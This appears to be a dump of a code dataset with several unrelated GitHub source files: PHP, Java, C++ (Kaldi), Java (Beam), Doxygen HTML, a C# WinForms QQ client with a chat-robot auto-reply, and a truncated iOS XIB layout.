text
stringlengths 2
99.9k
| meta
dict |
---|---|
<?php
namespace Github\Model;
class ShortBlob
{
/**
*
*
* @var string
*/
protected $url;
/**
*
*
* @var string
*/
protected $sha;
/**
*
*
* @return string
*/
public function getUrl() : string
{
return $this->url;
}
/**
*
*
* @param string $url
*
* @return self
*/
public function setUrl(string $url) : self
{
$this->url = $url;
return $this;
}
/**
*
*
* @return string
*/
public function getSha() : string
{
return $this->sha;
}
/**
*
*
* @param string $sha
*
* @return self
*/
public function setSha(string $sha) : self
{
$this->sha = $sha;
return $this;
}
} | {
"pile_set_name": "Github"
} |
package com.anthony.imagepicker.imagepicker.loader;
import android.app.Activity;
import android.widget.ImageView;
import java.io.Serializable;
/**
* ================================================
* 作 者:jeasonlzy(廖子尧 Github地址:https://github.com/jeasonlzy0216
* 版 本:1.0
* 创建日期:2016/5/19
* 描 述:ImageLoader抽象类,外部需要实现这个类去加载图片, 尽力减少对第三方库的依赖,所以这么干了
* 修订历史:
* ================================================
*/
public interface ImageLoader extends Serializable {
void displayImage(Activity activity, String path, ImageView imageView, int width, int height);
void clearMemoryCache();
}
| {
"pile_set_name": "Github"
} |
// nnet/nnet-component.cc
// Copyright 2011-2013 Brno University of Technology (Author: Karel Vesely)
// See ../../COPYING for clarification regarding multiple authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED
// WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE,
// MERCHANTABLITY OR NON-INFRINGEMENT.
// See the Apache 2 License for the specific language governing permissions and
// limitations under the License.
#include <algorithm>
#include <sstream>
#include "nnet/nnet-component.h"
#include "nnet/nnet-nnet.h"
#include "nnet/nnet-activation.h"
#include "nnet/nnet-kl-hmm.h"
#include "nnet/nnet-affine-transform.h"
#include "nnet/nnet-linear-transform.h"
#include "nnet/nnet-rbm.h"
#include "nnet/nnet-various.h"
#include "nnet/nnet-convolutional-component.h"
#include "nnet/nnet-average-pooling-component.h"
#include "nnet/nnet-max-pooling-component.h"
#include "nnet/nnet-lstm-projected.h"
#include "nnet/nnet-blstm-projected.h"
#include "nnet/nnet-recurrent.h"
#include "nnet/nnet-sentence-averaging-component.h"
#include "nnet/nnet-frame-pooling-component.h"
#include "nnet/nnet-parallel-component.h"
#include "nnet/nnet-multibasis-component.h"
#include "nnet/nnet-parametric-relu.h"
namespace kaldi {
namespace nnet1 {
const struct Component::key_value Component::kMarkerMap[] = {
{ Component::kAffineTransform, "<AffineTransform>" },
{ Component::kLinearTransform, "<LinearTransform>" },
{ Component::kConvolutionalComponent, "<ConvolutionalComponent>" },
{ Component::kLstmProjected, "<LstmProjected>" },
{ Component::kLstmProjected, "<LstmProjectedStreams>" }, // bwd compat.
{ Component::kBlstmProjected, "<BlstmProjected>" },
{ Component::kBlstmProjected, "<BlstmProjectedStreams>" }, // bwd compat.
{ Component::kRecurrentComponent, "<RecurrentComponent>" },
{ Component::kSoftmax, "<Softmax>" },
{ Component::kHiddenSoftmax, "<HiddenSoftmax>" },
{ Component::kBlockSoftmax, "<BlockSoftmax>" },
{ Component::kSigmoid, "<Sigmoid>" },
{ Component::kTanh, "<Tanh>" },
{ Component::kParametricRelu,"<ParametricRelu>" },
{ Component::kDropout, "<Dropout>" },
{ Component::kLengthNormComponent, "<LengthNormComponent>" },
{ Component::kRbm, "<Rbm>" },
{ Component::kSplice, "<Splice>" },
{ Component::kCopy, "<Copy>" },
{ Component::kAddShift, "<AddShift>" },
{ Component::kRescale, "<Rescale>" },
{ Component::kKlHmm, "<KlHmm>" },
{ Component::kAveragePoolingComponent, "<AveragePoolingComponent>" },
{ Component::kMaxPoolingComponent, "<MaxPoolingComponent>" },
{ Component::kSentenceAveragingComponent, "<SentenceAveragingComponent>" },
{ Component::kSimpleSentenceAveragingComponent, "<SimpleSentenceAveragingComponent>" },
{ Component::kFramePoolingComponent, "<FramePoolingComponent>" },
{ Component::kParallelComponent, "<ParallelComponent>" },
{ Component::kMultiBasisComponent, "<MultiBasisComponent>" },
};
const char* Component::TypeToMarker(ComponentType t) {
// Retuns the 1st '<string>' corresponding to the type in 'kMarkerMap',
int32 N = sizeof(kMarkerMap) / sizeof(kMarkerMap[0]);
for (int i = 0; i < N; i++) {
if (kMarkerMap[i].key == t) return kMarkerMap[i].value;
}
KALDI_ERR << "Unknown type : " << t;
return NULL;
}
Component::ComponentType Component::MarkerToType(const std::string &s) {
std::string s_lowercase(s);
std::transform(s.begin(), s.end(), s_lowercase.begin(), ::tolower); // lc
int32 N = sizeof(kMarkerMap) / sizeof(kMarkerMap[0]);
for (int i = 0; i < N; i++) {
std::string m(kMarkerMap[i].value);
std::string m_lowercase(m);
std::transform(m.begin(), m.end(), m_lowercase.begin(), ::tolower);
if (s_lowercase == m_lowercase) return kMarkerMap[i].key;
}
KALDI_ERR << "Unknown 'Component' marker : '" << s << "'\n"
<< "(isn't the model 'too old' or incompatible?)";
return kUnknown;
}
Component* Component::NewComponentOfType(ComponentType comp_type,
int32 input_dim, int32 output_dim) {
Component *ans = NULL;
switch (comp_type) {
case Component::kAffineTransform :
ans = new AffineTransform(input_dim, output_dim);
break;
case Component::kLinearTransform :
ans = new LinearTransform(input_dim, output_dim);
break;
case Component::kConvolutionalComponent :
ans = new ConvolutionalComponent(input_dim, output_dim);
break;
case Component::kLstmProjected :
ans = new LstmProjected(input_dim, output_dim);
break;
case Component::kBlstmProjected :
ans = new BlstmProjected(input_dim, output_dim);
break;
case Component::kRecurrentComponent :
ans = new RecurrentComponent(input_dim, output_dim);
break;
case Component::kSoftmax :
ans = new Softmax(input_dim, output_dim);
break;
case Component::kHiddenSoftmax :
ans = new HiddenSoftmax(input_dim, output_dim);
break;
case Component::kBlockSoftmax :
ans = new BlockSoftmax(input_dim, output_dim);
break;
case Component::kSigmoid :
ans = new Sigmoid(input_dim, output_dim);
break;
case Component::kTanh :
ans = new Tanh(input_dim, output_dim);
break;
case Component::kParametricRelu :
ans = new ParametricRelu(input_dim, output_dim);
break;
case Component::kDropout :
ans = new Dropout(input_dim, output_dim);
break;
case Component::kLengthNormComponent :
ans = new LengthNormComponent(input_dim, output_dim);
break;
case Component::kRbm :
ans = new Rbm(input_dim, output_dim);
break;
case Component::kSplice :
ans = new Splice(input_dim, output_dim);
break;
case Component::kCopy :
ans = new CopyComponent(input_dim, output_dim);
break;
case Component::kAddShift :
ans = new AddShift(input_dim, output_dim);
break;
case Component::kRescale :
ans = new Rescale(input_dim, output_dim);
break;
case Component::kKlHmm :
ans = new KlHmm(input_dim, output_dim);
break;
case Component::kSentenceAveragingComponent :
ans = new SentenceAveragingComponent(input_dim, output_dim);
break;
case Component::kSimpleSentenceAveragingComponent :
ans = new SimpleSentenceAveragingComponent(input_dim, output_dim);
break;
case Component::kAveragePoolingComponent :
ans = new AveragePoolingComponent(input_dim, output_dim);
break;
case Component::kMaxPoolingComponent :
ans = new MaxPoolingComponent(input_dim, output_dim);
break;
case Component::kFramePoolingComponent :
ans = new FramePoolingComponent(input_dim, output_dim);
break;
case Component::kParallelComponent :
ans = new ParallelComponent(input_dim, output_dim);
break;
case Component::kMultiBasisComponent :
ans = new MultiBasisComponent(input_dim, output_dim);
break;
case Component::kUnknown :
default :
KALDI_ERR << "Missing type: " << TypeToMarker(comp_type);
}
return ans;
}
Component* Component::Init(const std::string &conf_line) {
std::istringstream is(conf_line);
std::string component_type_string;
int32 input_dim, output_dim;
// initialize component w/o internal data
ReadToken(is, false, &component_type_string);
ComponentType component_type = MarkerToType(component_type_string);
ExpectToken(is, false, "<InputDim>");
ReadBasicType(is, false, &input_dim);
ExpectToken(is, false, "<OutputDim>");
ReadBasicType(is, false, &output_dim);
Component *ans = NewComponentOfType(component_type, input_dim, output_dim);
// initialize internal data with the remaining part of config line
ans->InitData(is);
return ans;
}
Component* Component::Read(std::istream &is, bool binary) {
int32 dim_out, dim_in;
std::string token;
int first_char = Peek(is, binary);
if (first_char == EOF) return NULL;
ReadToken(is, binary, &token);
// Skip the optional initial token,
if (token == "<Nnet>") {
ReadToken(is, binary, &token);
}
// Network ends after terminal token appears,
if (token == "</Nnet>") {
return NULL;
}
// Read the dims,
ReadBasicType(is, binary, &dim_out);
ReadBasicType(is, binary, &dim_in);
// Create the component,
Component *ans = NewComponentOfType(MarkerToType(token), dim_in, dim_out);
// Read the content,
ans->ReadData(is, binary);
// 'Eat' the component separtor (can be already consumed by 'ReadData(.)'),
if ('<' == Peek(is, binary) && '!' == PeekToken(is, binary)) {
ExpectToken(is, binary, "<!EndOfComponent>");
}
return ans;
}
void Component::Write(std::ostream &os, bool binary) const {
WriteToken(os, binary, Component::TypeToMarker(GetType()));
WriteBasicType(os, binary, OutputDim());
WriteBasicType(os, binary, InputDim());
if (!binary) os << "\n";
this->WriteData(os, binary);
WriteToken(os, binary, "<!EndOfComponent>"); // Write component separator.
if (!binary) os << "\n";
}
} // namespace nnet1
} // namespace kaldi
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.beam.sdk.extensions.euphoria.core.translate;
import com.fasterxml.jackson.annotation.JsonIgnore;
import org.apache.beam.sdk.extensions.euphoria.core.client.accumulators.AccumulatorProvider;
import org.apache.beam.sdk.extensions.euphoria.core.translate.provider.GenericTranslatorProvider;
import org.apache.beam.sdk.options.Default;
import org.apache.beam.sdk.options.DefaultValueFactory;
import org.apache.beam.sdk.options.Description;
import org.apache.beam.sdk.options.PipelineOptions;
/** Pipeline options related to Euphoria DSL translation. */
public interface EuphoriaOptions extends PipelineOptions {
/** {@link DefaultValueFactory} of {@link TranslatorProvider}. */
class DefaultTranslatorProviderFactory implements DefaultValueFactory<TranslatorProvider> {
@Override
public TranslatorProvider create(PipelineOptions options) {
return GenericTranslatorProvider.createWithDefaultTranslators();
}
}
/** {@link DefaultValueFactory} of {@link AccumulatorProvider.Factory}. */
class DefaultAccumulatorProviderFactory
implements DefaultValueFactory<AccumulatorProvider.Factory> {
@Override
public AccumulatorProvider.Factory create(PipelineOptions options) {
return BeamAccumulatorProvider.Factory.get();
}
}
@Description("Euphoria translation provider")
@Default.InstanceFactory(DefaultTranslatorProviderFactory.class)
@JsonIgnore
TranslatorProvider getTranslatorProvider();
void setTranslatorProvider(TranslatorProvider translationProvider);
@Description("Euphoria accumulator provider factory")
@Default.InstanceFactory(DefaultAccumulatorProviderFactory.class)
@JsonIgnore
AccumulatorProvider.Factory getAccumulatorProviderFactory();
void setAccumulatorProviderFactory(AccumulatorProvider.Factory accumulatorProviderFactory);
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.13"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Alexa Auto SDK: com.amazon.aace.phonecontrol.PhoneCallController.ConnectionState Enum Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td id="projectlogo"><img alt="Logo" src="aace-logo.png"/></td>
<td id="projectalign" style="padding-left: 0.5em;">
<div id="projectname">Alexa Auto SDK
 <span id="projectnumber">2.3.0</span>
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.13 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>com</b></li><li class="navelem"><b>amazon</b></li><li class="navelem"><b>aace</b></li><li class="navelem"><b>phonecontrol</b></li><li class="navelem"><a class="el" href="classcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller.html">PhoneCallController</a></li><li class="navelem"><a class="el" href="enumcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller_1_1_connection_state.html">ConnectionState</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-attribs">Public Attributes</a> |
<a href="enumcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller_1_1_connection_state-members.html">List of all members</a> </div>
<div class="headertitle">
<div class="title">com.amazon.aace.phonecontrol.PhoneCallController.ConnectionState Enum Reference</div> </div>
</div><!--header-->
<div class="contents">
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a>
Public Attributes</h2></td></tr>
<tr class="memitem:a334f503c8af9d5fd12170cdabff38900"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="enumcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller_1_1_connection_state.html#a334f503c8af9d5fd12170cdabff38900">CONNECTED</a></td></tr>
<tr class="separator:a334f503c8af9d5fd12170cdabff38900"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a7c23dfd53e87f06c93734e4257028c62"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="enumcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller_1_1_connection_state.html#a7c23dfd53e87f06c93734e4257028c62">DISCONNECTED</a></td></tr>
<tr class="separator:a7c23dfd53e87f06c93734e4257028c62"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>Describes the state of connection to a calling device</p>
<dl class="section see"><dt>See also</dt><dd><a class="el" href="classcom_1_1amazon_1_1aace_1_1phonecontrol_1_1_phone_call_controller.html#a941fcb1da744bc9d254bc1657942aba5">PhoneCallController::connectionStateChanged</a> </dd></dl>
</div><h2 class="groupheader">Member Data Documentation</h2>
<a id="a334f503c8af9d5fd12170cdabff38900"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a334f503c8af9d5fd12170cdabff38900">◆ </a></span>CONNECTED</h2>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">com.amazon.aace.phonecontrol.PhoneCallController.ConnectionState.CONNECTED</td>
</tr>
</table>
</div><div class="memdoc">
<p>A calling device is connected. </p>
</div>
</div>
<a id="a7c23dfd53e87f06c93734e4257028c62"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a7c23dfd53e87f06c93734e4257028c62">◆ </a></span>DISCONNECTED</h2>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">com.amazon.aace.phonecontrol.PhoneCallController.ConnectionState.DISCONNECTED</td>
</tr>
</table>
</div><div class="memdoc">
<p>No calling device is connected. </p>
</div>
</div>
</div><!-- contents -->
<html>
<body>
<hr style="height:1px;border-width:0;color:gray;background-color:gray">
<p style="text-align:left;">
Alexa Auto SDK 2.3.0 - Copyright 2017-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
<span style="float:right;">
Licensed under the <a HREF=http://aws.amazon.com/apache2.0/>Apache License, Version 2.0</a>
</span>
</p>
</body>
</html>
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AngleSharp;
using AngleSharp.Extensions;
using AngleSharp.Parser.Html;
using iQQ.Net.BatchHangQQ.Extensions;
using iQQ.Net.BatchHangQQ.Util;
using iQQ.Net.WebQQCore.Im;
using iQQ.Net.WebQQCore.Im.Actor;
using iQQ.Net.WebQQCore.Im.Bean;
using iQQ.Net.WebQQCore.Im.Bean.Content;
using iQQ.Net.WebQQCore.Im.Event;
using iQQ.Net.WebQQCore.Util;
using iQQ.Net.WebQQCore.Util.Extensions;
using Microsoft.Extensions.Logging;
namespace iQQ.Net.BatchHangQQ
{
public partial class FmQQList : Form
{
private readonly Dictionary<string, IQQClient> _qqClients = new Dictionary<string, IQQClient>();
private readonly object _syncObj = new object();
private readonly HttpCilentHelper _httpCilent = new HttpCilentHelper();
private QQNotifyListener _notifyListener;
private readonly NotifyIcon _notifyIcon; // 创建NotifyIcon对象
private CancellationTokenSource _cts;
private readonly RichTextBoxLogger _logger;
private async void GetIpInfo()
{
var result = await _httpCilent.GetAsync("http://ip.cn/", 3).ConfigureAwait(false);
if (result.Success)
{
var document = await new HtmlParser().ParseAsync(result.ResponseString).ConfigureAwait(false);
var items = document.QuerySelectorAll("#result .well p").ToList();
var ip = items[0].QuerySelector("code").Text().Trim();
var address = items[1].QuerySelector("code").Text().Trim();
lbIp.InvokeIfRequired(() => lbIp.Text = ip);
lbAddress.InvokeIfRequired(() => lbAddress.Text = address);
}
else
{
_logger.LogInformation("获取ip地址失败");
}
}
protected override void WndProc(ref Message m)
{ // 原来底层重绘每次会清除画布,然后再全部重新绘制,导致闪烁
if (m.Msg == 0x0014) // 禁掉清除背景消息
return;
base.WndProc(ref m);
}
public FmQQList()
{
SetStyle(ControlStyles.DoubleBuffer
| ControlStyles.UserPaint
| ControlStyles.AllPaintingInWmPaint,
true);
UpdateStyles();
InitializeComponent();
chkUseRobot.Checked = false;
_logger = new RichTextBoxLogger(tbMessage);
_notifyIcon = new NotifyIcon() { Text = Text, Visible = true, Icon = Icon };
_notifyIcon.DoubleClick += (sender, args) =>
{
if (WindowState == FormWindowState.Minimized)
{
Show();
WindowState = FormWindowState.Normal;
// this.ShowInTaskbar = true;
}
else
{
WindowState = FormWindowState.Minimized;
}
};
_notifyIcon.ContextMenu = new ContextMenu();
}
private void fmQQList_SizeChanged(object sender, EventArgs e)
{
if (WindowState == FormWindowState.Minimized)
{
Hide();
// this.ShowInTaskbar = false;
}
}
private void fmQQList_Load(object sender, EventArgs e)
{
AfterInitialize();
GetIpInfo();
}
private void AfterInitialize()
{
_notifyListener = GetListener();
var rightButtonCms = new ContextMenuStrip();
var tsmiRemove = new ToolStripMenuItem() { Text = "移除" };
tsmiRemove.Click += (sender, e) =>
{
var tsmi = sender as ToolStripMenuItem;
var cms = tsmi?.Owner as ContextMenuStrip;
if (cms != null)
{
var lv = cms.SourceControl as ListView;
if (lv == lvQQList)
{
RemoveSelectedQQFromList();
}
}
};
rightButtonCms.Items.Add(tsmiRemove);
lvQQList.ContextMenuStrip = rightButtonCms;
}
private QQNotifyListener GetListener()
{
return async (client, notifyEvent) =>
{
try
{
switch (notifyEvent.Type)
{
case QQNotifyEventType.LoginSuccess:
{
client.Logger.LogInformation("登录成功");
break;
}
case QQNotifyEventType.GroupMsg:
{
var revMsg = (QQMsg)notifyEvent.Target;
if (revMsg.From.QQ.IsDefault()) await client.GetUserQQ(revMsg.From).WhenFinalEvent().ConfigureAwait(false);
client.Logger.LogInformation($"群[{revMsg.Group.Name}]-好友[{revMsg.From.Nickname}]:{revMsg.GetText()}");
break;
}
case QQNotifyEventType.ChatMsg:
{
var revMsg = (QQMsg)notifyEvent.Target;
if (revMsg.From.QQ.IsDefault()) await client.GetUserQQ(revMsg.From).WhenFinalEvent().ConfigureAwait(false);
client.Logger.LogInformation($"好友[{revMsg.From.Nickname}]:{revMsg.GetText()}");
if (chkUseRobot.Checked)
{
Thread.Sleep(3000);
var msgReply = new QQMsg()
{
Type = QQMsgType.BUDDY_MSG,
To = revMsg.From,
From = client.Account,
Date = DateTime.Now,
};
var replyEvent = await client.GetRobotReply(revMsg, RobotType.Turing).WhenFinalEvent();
if (replyEvent.Type == QQActionEventType.EvtOK)
{
var str = (string)replyEvent.Target;
var text = new TextItem($"{str} --来自机器人");
msgReply.AddContentItem(text);
msgReply.AddContentItem(new FontItem()); // 使用默认字体,不加这句对方收不到信息
var result = await client.SendMsg(msgReply).WhenFinalEvent().ConfigureAwait(false);
if (result.Type == QQActionEventType.EvtOK)
{
client.Logger.LogInformation($"自动回复给[{revMsg.From.Nickname}]:{text.ToText()}");
}
else
{
client.Logger.LogWarning($"自动回复给[{revMsg.From.Nickname}]发送失败");
}
}
else
{
client.Logger.LogWarning("获取机器人回复失败");
}
}
break;
}
case QQNotifyEventType.QrcodeInvalid:
{
client.Logger.LogWarning("二维码已失效");
CancelLogin();
break;
}
case QQNotifyEventType.QrcodeReady:
{
client.Logger.LogWarning("二维码获取成功,请用手机qq扫码登录");
var verify = (Image)notifyEvent.Target;
pbQRCode.InvokeIfRequired(() =>
{
pbQRCode.Image = verify;
});
break;
}
case QQNotifyEventType.KickOffline:
{
client.Logger.LogInformation("被踢下线");
break;
}
case QQNotifyEventType.ShakeWindow:
{
var buddy = (QQBuddy)notifyEvent.Target;
if (buddy.QQ.IsDefault()) await client.GetUserQQ(buddy).WhenFinalEvent().ConfigureAwait(false);
client.Logger.LogInformation($"[{buddy.ShowName}]发来抖动屏幕");
break;
}
case QQNotifyEventType.BuddyInput:
case QQNotifyEventType.BuddyStatusChange:
case QQNotifyEventType.QrcodeSuccess:
case QQNotifyEventType.NetError:
case QQNotifyEventType.UnknownError:
break;
default:
client.Logger.LogInformation(notifyEvent.Type + ", " + notifyEvent.Target);
break;
}
}
catch (Exception ex)
{
client.Logger.LogError(ex.ToString());
}
};
}
private void RemoveSelectedQQFromList()
{
if (lvQQList.SelectedIndices.Count <= 0) return;
foreach (int index in lvQQList.SelectedIndices)
{
var qqNum = lvQQList.Items[index].SubItems[1].Text;
try
{
_qqClients[qqNum].Destroy();
}
catch
{
_logger.LogError($"QQ[{qqNum}]关闭失败");
}
if (_qqClients.ContainsKey(qqNum)) _qqClients.Remove(qqNum);
lvQQList.Items.RemoveAt(index);
}
}
private async void AddQQToLv(IQQClient qq)
{
await qq.GetUserLevel(qq.Account).WhenFinalEvent().ConfigureAwait(false);
var subitems = new[]
{
lvQQList.Items.Count.ToString(),
qq.Account.QQ.ToString(),
qq.Account.ClientType.ToString(),
qq.Account.Status.ToString(),
qq.Account.LevelInfo.Level.ToString(),
qq.Account.LevelInfo.RemainDays.ToString(),
};
var item = new ListViewItem(subitems) { Selected = true };
var index = lvQQList.FindFirstItemIndex(qq.Account.QQ.ToString(), new[] { 1 });
if (index < 0)
{
lvQQList.InvokeIfRequired(() =>
{
lvQQList.Items.Add(item);
});
}
else
{
lvQQList.InvokeIfRequired(() =>
{
lvQQList.UpdateItem(index, item, new[] { 2, 3, 4, 5 });
});
}
}
private async void Login()
{
_cts = new CancellationTokenSource();
btnLogin.InvokeIfRequired(() => btnLogin.Text = "取消登录");
while (!_cts.IsCancellationRequested)
{
var client = new WebQQClient(notifyListener: _notifyListener, logger: new RichTextBoxLogger(tbMessage));
var result = await client.LoginWithQRCode().WhenFinalEvent(_cts.Token).ConfigureAwait(false);
if (result.Type == QQActionEventType.EvtOK)
{
var key = client.Account.QQ.ToString();
if (_qqClients.ContainsKey(key)) client.Destroy();
else
{
_qqClients.Add(key, client);
lvQQList.InvokeIfRequired(() =>
{
AddQQToLv(client);
});
}
}
}
_cts = null;
}
private void CancelLogin()
{
_cts.Cancel();
btnLogin.InvokeIfRequired(() => btnLogin.Text = "登录");
pbQRCode.InvokeIfRequired(() => pbQRCode.Image = null);
}
private void btnLogin_Click(object sender, EventArgs e)
{
if (_cts == null) Login();
else CancelLogin();
}
private void fmQQList_FormClosing(object sender, FormClosingEventArgs e)
{
_notifyIcon.Visible = false;
}
private void btnClearQQlist_Click(object sender, EventArgs e)
{
foreach (var qq in _qqClients)
{
qq.Value.Destroy();
}
lvQQList.Items.Clear();
}
private void btnExportQQlist_Click(object sender, EventArgs e)
{
}
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="10117" systemVersion="15F34" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="10085"/>
</dependencies>
<objects>
<placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner" customClass="WelcomeViewController" customModule="CodeBucket_iOS" customModuleProvider="target">
<connections>
<outlet property="GoButton" destination="lbP-eZ-6en" id="neo-eL-vCm"/>
<outlet property="view" destination="iN0-l3-epB" id="hbL-K6-q1y"/>
</connections>
</placeholder>
<placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/>
<view contentMode="scaleToFill" id="iN0-l3-epB">
<rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Let's go!" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="m7g-R1-Mep">
<rect key="frame" x="26" y="48" width="268" height="62"/>
<fontDescription key="fontDescription" name="HelveticaNeue-Thin" family="Helvetica Neue" pointSize="52"/>
<color key="textColor" red="0.086274509799999996" green="0.086274509799999996" blue="0.086274509799999996" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="lbP-eZ-6en">
<rect key="frame" x="26" y="518" width="268" height="36"/>
<color key="backgroundColor" red="0.16078431372549018" green="0.50196078431372548" blue="0.72549019607843135" alpha="1" colorSpace="calibratedRGB"/>
<constraints>
<constraint firstAttribute="height" constant="36" id="iKT-qy-bX0"/>
</constraints>
<color key="tintColor" red="1" green="1" blue="1" alpha="1" colorSpace="calibratedRGB"/>
<state key="normal" title="Start using CodeHub!">
<color key="titleColor" red="1" green="1" blue="1" alpha="1" colorSpace="calibratedRGB"/>
<color key="titleShadowColor" white="0.5" alpha="1" colorSpace="calibratedWhite"/>
</state>
</button>
<imageView userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="250" image="Rocket.png" translatesAutoresizingMaskIntoConstraints="NO" id="WMt-Ze-9kX">
<rect key="frame" x="56" y="142" width="208" height="240"/>
<constraints>
<constraint firstAttribute="width" constant="208" id="QQI-91-mYE"/>
</constraints>
</imageView>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Rcc-Qm-yeD">
<rect key="frame" x="26" y="430" width="268" height="40"/>
<string key="text">Thanks for your time.
Enjoy using CodeHub!</string>
<fontDescription key="fontDescription" name="HelveticaNeue" family="Helvetica Neue" pointSize="17"/>
<color key="textColor" red="0.086274509799999996" green="0.086274509799999996" blue="0.086274509799999996" alpha="1" colorSpace="calibratedRGB"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/>
<constraints>
<constraint firstAttribute="centerX" secondItem="lbP-eZ-6en" secondAttribute="centerX" id="2Xs-Nb-7yg"/>
<constraint firstItem="Rcc-Qm-yeD" firstAttribute="top" secondItem="WMt-Ze-9kX" secondAttribute="bottom" constant="48" id="5qR-Tg-LfS"/>
<constraint firstItem="WMt-Ze-9kX" firstAttribute="leading" secondItem="Rcc-Qm-yeD" secondAttribute="leading" constant="30" id="AD2-jL-Pt0"/>
<constraint firstAttribute="centerX" secondItem="m7g-R1-Mep" secondAttribute="centerX" id="EEB-rf-fUP"/>
